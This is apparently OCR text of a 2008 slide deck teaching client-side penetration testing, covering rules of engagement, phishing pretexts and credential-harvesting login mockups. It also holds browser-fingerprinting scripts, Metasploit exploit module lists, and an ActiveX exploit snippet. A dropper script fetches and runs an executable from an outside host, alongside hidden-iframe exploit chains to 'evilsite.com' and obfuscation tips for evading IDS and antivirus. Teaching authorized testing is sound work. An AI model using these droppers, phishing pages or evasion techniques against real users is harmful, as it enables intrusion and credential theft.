someone always clicks the link




pentesting?

security of a computer system or network by
simulating an attack by a malicious user,
commonly known as a hacker.

* Vulnerability Assessment vs. Penetration Test




pentesting

* Legal Issues

e Scope — are you limited in what you can do and
when you can do it?

* Oregon/Intel vs. Randal Schwartz
e |nternal Team vs. Consultants vs. Attackers

e O-days?
e |ncident response




rules of engagement

e |Inform the ent/Dept/BU

« Cover Your @$$ Agreement
* Define the Scope
 Stick to it (can’t stress this enough)

 Incident Response
« Keep a Point of Contact handy




methodology

* Fingerprinting/Enumeration
 Exploitation
 Escalation/Post Exploitation
e Covering Tracks
 Reporting




why client-side attacks?
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better controls

Dedicated Security Teams
Network Separation

 Internal vs. External vs. DMZ
Hardened Server Builds
IDS/IPS
Security Event Monitoring & Alerting
Software security is improving (?)

e msO08 067
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SO how what?

THE USER




user environment

» Hard to fingerprint - no direct access

 Has legitimate (usually persistent) access to the
network’s critical assets.

e |s a“domain user” on the network.
* Browse file shares, run net commands, etc...
e Domain users can do more than local accounts and SYSTEM.
e Connects to the Internet from within the internal
network.

copyright © 2008. zero(day)solutions



user environment

IN-NOouse Ssoftware.
 Different software companies with differing attitudes
towards security and updates.
e Patching policies, If any, vary

» Workstation policy != Server policy

 WSUS/SUS doesn't patch random 3rd party
applications.

e Some tools that do. Assumes an organization has a
good handle on the software deployed
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the new remote exploit?

* A “shift” towards finding vulnerabillities in client-side
SO

« 8 categories in SANS Top 20 report relate directly to
client-side vulnerabilities

* High profile incidents taking advantage of
vulnerabilities in client-side software

o ‘drive-by’ exploits & iframe autopwn sites
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malware

e Why?
* Broad ‘unaware’ target user group
 Risk vs. Return [$$%]
o |t's ‘easy’ ;)




Stats

o 2. Adobe Flash vulnerabilities

« 3. ActiveX vulnerabilities

* 4. SQL injection

5. Adobe Acrobat Reader vulnerabilities

* 6. Content management systems (CMS) vulnerabilities

o 7. Apple QuickTime vulnerabilities

« 8. Malicious Web 2.0 components (e.g. facebook applications,
 third-party widgets/gadgets, banner ads etc)

* 9. RealPlayer vulnerabilities

e 10. DNS cache poisoning

Source: www.websense.com/securitylabs/docs/WSL_Report_ 1HO8 FINAL.pdf
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percent of Web sites with malicious code are
legitimate sites that have been compromised.

e 60 percent of the top 100 most popular Web sites
have either hosted or been involved in malicious
activity in the first half of 2008.

« 12 percent of Web sites infected with malicious code
were created using Web malware exploitation kits, a
decrease of 33 percent since December 2007.

Source: www.websense.com/securitylabs/docs/WSL_Report_ 1HO8 FINAL.pdf
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same as the second half of 2007.
» 76.5 percent of all emails in circulation contained links to spam sites

and/or malicious Web sites. This represents an 18 percent increase
over the previous six-month period.

« 85 percent of unwanted (spam or malicious) emails contain a link.
» 9 percent of spam messages are phishing attacks

e Data Security

* 29 percent of malicious Web attacks included data-stealing code.
* 46 percent of data-stealing attacks are conducted over the Web.

Source: www.websense.com/securitylabs/docs/WSL_Report_ 1HO8 FINAL.pdf
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e 57.3 percent of malware connects to USA
6.19 percent of malware connects to China
5.5 percent of malware connects to Canada
4.2°7 percent of malware connects to Russia
4.11 percent of malware connects to Brazil

22.63 percent of malware connects to other
countries

Source: www.websense.com/securitylabs/docs/WSL_Report_ 1HO8 FINAL.pdf
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INn the news

L/ \J L/ - \ \J e’ \UJ - - L/

have been sent to participating nation’s national
sporting organizations and athlete representatives.

 The malware was hidden within an Adobe Acrobat PDF
file attachment, using embedded JavaScript to drop a
malicious executable program onto the target’s
computer.
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To: media

Subject: The Beijing 2008 Torch Relay
Attach: [CDnew.zip (41.0KkB)

WinZip -

Attached is an updated planning package aboW'ri. ™ actions  Options  Help
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AOLYMPIC ORG Open Favorites Add Extract Encrypt View CheckOut
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Selected O files, 0 bytes Total 1 file, 172KB

Microsoft Jet Engine MDB File Parsing Stack Overflow Vulnerability




other news

o Security Update for OS Microsoft
Windows

 Energy companies experienced more
Web-based malware attacks than any
other industry
 SCADA exploits found in malware
e WWw.wackystone.com/counter/iconics.htm




no client-side allowed!

“My users aren't trained [our USer awareness
training program sucks] therefore you can’t use
client side attacks in your pentest”




value?

« Training — does it work?

e Test Incident Handling team
* Detection & response

* Determine risk
* Risk = (Threat x Vulnerability) x Impact

e Test technical controls
« Patching policy - 3 party apps?
* Network segmentation [DMZ, etc...] - is it effective?
* IDS/IPS, etc...
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. Released: 10.30.2008
o www.milwOrm.com/exploits/6878

 Malware
e Seen: 10.31.2008
o www.wackystone.com/counter/Djvu.htm
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 |ts’ becoming critical to test your client’s
susceptibility and response to client side
attacks




example

Phishing Email to users

http://evil-site.com/file.html

Weakest Link
apple_itunes_playlist Exploit SENT!

Attacker

SCAN & ATTACKS FAIL Default DENY IN & OUTBOUND
Outbound: HTTP/S, DNS, MAIL

Reverse Shell/PassiveX over tcp/80




client-side methodology

* Fingerprinting/Enumeration
 Exploitation

e Escalation/Post Exploitation
 Covering Tracks
 Reporting




methodology cont...

« Company data — departments, etc...

« Develop Attack Vector
e Emall
« Website

e Send attack and...

[ ... get lunch and walt ... |

e Secure Access
e Switch to internal pentest




differences

e can be performed at any time of day
« Often more successful during holidays or outside
normal working hours

» Client-side pentest can take hours or days
* Client Side attacks are more successful during
business hours!
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scenarios

« Email carrying malicious payload or by pointing the
victim to a malicious Web site. Exploit Required.
e Use social engineering

e Convince user to install your malware without using
an exploit.

e Large-scale client-side infection campaigns

e Rely on victims to visit compromised Web sites that
deliver client-side exploits, possibly through
malicious banner ads.
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scope [limitations]

 Data Gathering (no exploitation)
« Username/password or metrics
e Host information — IP, Plugins, browser,etc...

e Gain Access
« Are Exploits allowed?

e Drop ‘flag’, get screenshot
* Pivoting (?)
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attack setup

- Segment targets into groups

e Customize attacks
- Message must appeal to target
- Must get through spam/content/AV filters
- Balance generality with effectiveness

* Deploy required servers

 Email, web
Don’t exploit the “innocent bystander”
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entry points

e DHTML compliant browser
o ActiveX

e Java/JavaScript

e Plugins

e IM/P2P

* File Format bugs

e Office Suites




delivery

« Web

Browser exploits

Vulnerable ActiveX controls

XSS a user to your vulnerable page

« SMB Relay attacks (Internal only)

« \Write access to a web server/application

* Download & run exe
« No Exploit Required - JavaScript :-)
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example - metrics

 how many people received the email?
 how many clicked the link?
 how many entered data?

o Gather Metrics
e Google Analytics
e Statcounter
e Custom js/php, etc...
e ../login.php?id=<tag>
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example - login

This is a one-time identity verification process prior tp
proceeding to the Complaincy Awareness and Training
website. This is a necessary step as the following pages
contain detailed confidential information.

Please enter your Username and Password that you would
normally use to login to your workstation.

e
Password: [N
(o]
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Future Students Current Students Alumni, Donors & Parents

Password Synchronization System {pSYNC)
First Time User Reset Password
User ID: | UserID : |
Password: . Old Password: _
Department: | New Password : .

Emuail: . Confirrn New:

Sync Passwords Feset Password
Welcome to th— Information Technology Password Synchronization (pSYNC) project This project

will reduce the number of userid-password pairs our users must remermber by providing an easy way to synchronize passwords
automatically across several application and system platforms. Additionally, the project will provide self-help to users to reset and
change passwords on demand.

Intructions:

First time users enter the above requested information in the fields and click on the [Sync Password] button. You will be prompted to
change your password. This will synchronize your passwords with all your applications (Active Directory, email, etc..). You will receive an
email confirming the change.

Returning users can enter their existing User IDIPassword combination and change their passwords by clicking the [Reset Passwords)
hutton. The changes will take effect immediately.

Thank you for helping to keep Wecure by routinely changing your password. You will be prompted to
change your password again elpdesk at“ if there are any

problems.

© 2007 All rights reserved.




EE?].ﬁoﬁogi’gcokWeb Access

Provided by Microsoft Exchange Server 2003

[ login I




Address Not Found

Firefox can't find the server at www.zerodaysolutions.co.

The browser could not find the host server for the provided address.

= Did you make a mistake when typing the domain? (e.q. “ww.mozila.org”
instead of “www.mozilla.org”)

= Are you certain this domain address exists? Its registration may have expired.

= Are you unable to browse other sites? Check your network connection and
DNS server settings.

» Is your computer or network protected by a firewall or proxy? Incorrect
settings can interfere with Web browsing.




Welcome to eBay

er here
Join the millions of people who are already a part of the eBay
family. Don't worry, we have room for one more.
Register as an eBay member and enjoy privileges including:
e Bid, buy and find bargains from all over the world
* Shop with confidence with PayPal Buyer Protection

* Connect with the eBay community and more!

Register

n in to your ac

Back for more fun? Sign in now to buy, bid and sell, or to
manage your account.

User ID
| rnrgot my user ID

Password
1 forgot my password

"1 Keep me signed in for today. Don't check this box if

you're at a public or shared computer.

Having problems with signing in? Get help.

Protect your account: Check that the Web address in your
browser starts with https://signin.ebay.com/. More account
security tips.

About eBay | Announcements | Security Center | Policies | Government Relations | Site Map | Help

Use of this Web site constitutes acceptance of the eBay User Agreement and Privacy Policy.

Copyright © 1995-2007 eBay Inc. All Rights Reserved. Designated trademarks and brands are the property of thelr respective owners. -
VeriSign'
Identity

eBay officlal time

Protection




example — data gathering

e Jocal IP:10.10.10.10 € good for internal pentest
e Remote IP: XXX XXX XXX. XXX
 Hostname: xp_test

e Plugins: Java(TM) Platform SE 6 U7; Shockwave Flash; Mozilla Default Plug-in;
Adobe Acrobat; 2007 Microsoft Office system

* Browser: firefox 3.0.3 gecko/2008092417

* Full user _agent_string: mozilla/5.0 (windows; u; windows nt 5.2; en-us; rv:1.9.0.3)
gecko/2008092417 firefox/3.0.3

* Operating_system: win2k3

e Flash_version: 9

 Popups_allowed: Yes

 Browser Language: en-us

e Field "Remote IP" doesn't match condition "/~127\.0\.0\..*$/"
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example — data gathering

var sock = new java.net.Socket();
sock.bind(new java.net.InetSocketAddress('0.0.0.0', 0));

sock.connect(new
java.net.InetSocketAddress(document.domain,(!document.location.port)?80:

document.location.port));
document.forms[0].local_ip.value = sock.getLocalAddress().getHostAddress();
document.forms[0].hostname.value = sock.getLocalAddress().getHostName();

for (var index = 0; index < navigator.plugins.length; index++)

document.forms[0].plugins.value = document.forms[0].plugins.value +
navigator.plugins[index].name + "; ;

} catch (e) {}
}

</script>
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example — data gathering

$fields['Remote IP'] = $ _SERVER[REMOTE_ADDR;

$fields['Remote Host'] =$ SERVER['REMOTE_HOST;
$fields['Remote Port'] =$ SERVER['REMOTE_PORTY;
$fields['User Agent'] =$ SERVER[HTTP_USER_AGENTT;
$fields['Referrer] =$ SERVER[HTTP_REFERERY;

$fields['Cookie'] =$ GET[cookieT;
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example — email attachment

vector.

* Typically bypass perimeter security
* Do you block office extensions?

o Difficult to detect

« Can AV scan and analyze a macro or an overflow In
what appears to be a well formatted document?
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ance - Training a tion Pr h ge (HTML)

Adobe PDF

.1 _ x _3 8 : % &, sate Lists - iﬂg v gj 2 Related -

Reply Reply Forward @ Delete Moveto Create Other Block Not Junk Categorize Follow Mark as =
to All Folder~ Rule Actions~ || Sender - Up~ Unread | Wi Select~

Respond Actions Junk E-mail M Options ] Find

From:
To: dean@zerodaysolutions.com
Ce

Subject: — Training and Education Program.

% training_revision.pdf (8 KE)

-1 Message

To ! (N

fff_;

Send to
OneNote

OneNote

Sat 10/11/2008 5:58 PM

Due to the current volatility of the the financial industrv we are implementing compliancy awareness and training programs covering the
various regulations and acts pertinent to our industry. Please take some time to review the attached Adobe Acrobat document that
contains times, dates and locations of upcoming classes. If yvou have anv questions please don't hesitate to respond to this email.

Additionally, a website has been developed that will allow vou to register for a program online. Please bookmark this website as we will

be adding additional times and dates over the next few weeks.
The following link will take vou to the registration login page: @
Thank You,

Corporate Compliance

124-127 St. Stephen's Green




example — fileformat bugs

« adobe_pdf_javascript « Developed in MSF

e adobe pdf javascript multi * none available ‘publicly’
« apple_quicktime_pict

e ca_cab

e dap _m3u

e etrust_pestscan

e ms08 011 wps

« openoffice_documentsummaryinformation
e videolan_ssa

e Xnview_taac
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example — fileformat bugs

Name: CA eTrust PestPatrol ActiveX Control Buffer Overflow

Avalilable targets:
0 Windows XP SP0-SP3 /Windows Vista/ IE 6.0 SPO-SP2 / IE 7

Description:

This module exploits a stack overflow in CA eTrust PestPatrol.
When sending an overly long string to the Initialize() property of
ppctl.dll (5.6.7.9) an attacker may be able to execute arbitrary
code. This control is not marked safe for scripting, so choose your
attack vector accordingly.

copyright © 2008. zero(day)solutions



example — browser exploits

00AO0C90DC8D9' id="fun></object>
<script language="vbscript'>
fun.SnapshotPath = "http://xx.xxx.xxx.xxx/evil.exe"

fun.CompressedPath = "C:/Documents and Settings/All
Users/Start menu/programs/startup/notsoevil.exe"

fun.PrintSnapshot()
</script>

</html>
« ms08 041 Microsoft Access snapshot viewer [ActiveX] exploit
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Example — browser exploits

. ibmIotusdomino_dwa_uploadmodul i
: :  xmplay_asx

* le_createobject

* ie_iscomponentinstalled

* macrovision_downloadandexecute

e mirc_irc_url

« ms03 020 ie objecttype

e ms06 001 wmf setabortproc

« ms06_013 createtextrange

e ms06_ 055 vml method

« ms06 057 webview_setslice

« ms06 067 keyframe

« ms06 071 xml _core

* realplayer_smil
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example — activeX exploits

enjoysapgui_preparetoposthtml
facebook_extractiptc
gom_openurl

Hploadrunner
hpmaqc_progcolor

kazaa_altnet _heap
logitech_videocall removeimage
logitechvideocall_start

mcafee _mcsubmgr_vsprintf
mcafeevisualtrace tracetarget
nis2004 get
novelliprint_executerequest
novelliprint_getdriversettings

trendmicro_officescan
tumbleweed_filetransfer
windvd?7_applicationtype
yahoomessenger_fvcom
yahoomessenger_server
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example — Xss

e http://www.poly.edu/calendar/main.php?view=event%3
CsCrlpT%3Eeval(location.hash.substr(1))%3C%2fsCrlp
T%3E&eventid=111!--#open(‘//evilsite.com’)

Redirect to attacker site
Persistent XSS is better — why?
Steal Cookies, Session ID’s
XSS Shell
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example - dropper

try {
var obj = x.CreateObject('msxmI2. XMLHTTP","); < XMLHTTP Obj to handles communication with server

var app = x.CreateObject('Shell. Application',"); < Instantiate a shell identified by classid

var str = x.CreateObject('ADODB stream","); < Object contains method to manage binary stream

try {

str.type = 1;

obj.open('GET",'http://coolsite.com//innocent.exe' false); XMLHTTP open() & send() methods used to initialize
obj.send(): request & send request to server

str.open(); )

str.Write(obj.responseBody); ADODB.stream open() method opens stream obj.
var path = ".//..//svchosts.exe"; — write() method writes the binary to a binary obj.
str.SaveToFile(path,2): SaveToFile() method saves contents to local file
str.Close(); B

} catch(e) {}

try { exec file using shellexecute() , part of the function we
app.shellexecute(path); created earlier

} etc....
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example — dropper

* Prompt user to change browsers
* Provide link for user — it only takes one to click it

e Things to consider
« IDS/IPS evasion

e Code obfuscation
* unescape(), String.fromCharCode()
e arguments.callee(), eval()
e string splitting
» whitespace

copyright © 2008. zero(day)solutions



example — multiple Iframes

try{
var ac;var accessx=new ActiveXObject("snpvw.Snapshot Viewer Control.1")

}catch(ac){

J;

finally{

if(ac!="[object Error]"}{

document.write('<iframe style=display:none
src="http://evilsite.com/exploits/Access.gif"></iframe>")}

Hry{

var f;

var Ax=(document.createElement("object"));
Ax.setAttribute("classid","clsid:32E26FD9-F435-4A20-A561-35D4B987CFDC");
}catch(f){
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example — multiple Iframes

src="http://evilsite.com/exploits//Ms08053.htm"></iframe>")}

Jry{

var g;

var Msl1l1=(document.createElement("object"));
Ms11.setAttribute("classid”,"clsid:00E1DB59-6EFD-4CE7-8C0A-2DA3BCAADIC6");

Ycatch(g){
i
finally{if(g'="[object Error]")}{

document.write('<iframe style=display:none
src="http://evilsite.com/exploits//Ms08011.htm"></iframe>")}

Hryf

var h;var real=new ActiveXObject("IERPCtl.IERPCtl.1")
}catch(h){

etc...
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examples - other

src="http://www.evilsite.com/file.ntm"></iframe>’)

« BODY onlLoad
« <BODY onLoad="open(‘http://evilsite.com’)’>

* Meta refresh
e <meta http-equiv="refresh" content="3;url=http://evilsite.com">

e HTTP Headers

* header('Content-type: application/pdf');
header('Content-Disposition: inline;filename="evil.pdf”);

header("Content-Transfer-Encoding: binary");
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comments

e Client-side pen testing is very different than
traditional network pen testing

* A successful client-side attack can quickly lead
to access to critical assets







 Browser_ autopwn
* Phish — data gathering (internet access?)




homework # 1

 Domains, URLs, etc...
* Any info that can be used to improve a phish's success
* Describe methods, tools and scripts used, etc...

« 1b. Target phishfood@zerodaysolutions.com
e Develop emall (create scenario) & link to malicious site
create site to:

» Gather the following info - remote ip, plugins, browser, etc...
e Optional: drop/execute a file.
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homework #2

 Decode the JS

* Modify the code to use your own payload.exe (a link to one can
be supplied)

e Describe what it does

* What bug it exploits, how, etc....

» Describe the techniques used to obfuscate the code
* How it was modified to contain new payload, etc...

o Samples will be provided if needed
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Contact

Dean De Beer
dean@zerodaysolutions.com




Big Thanks!

« MC
* Eric Hulse
e Lenny Zeltser
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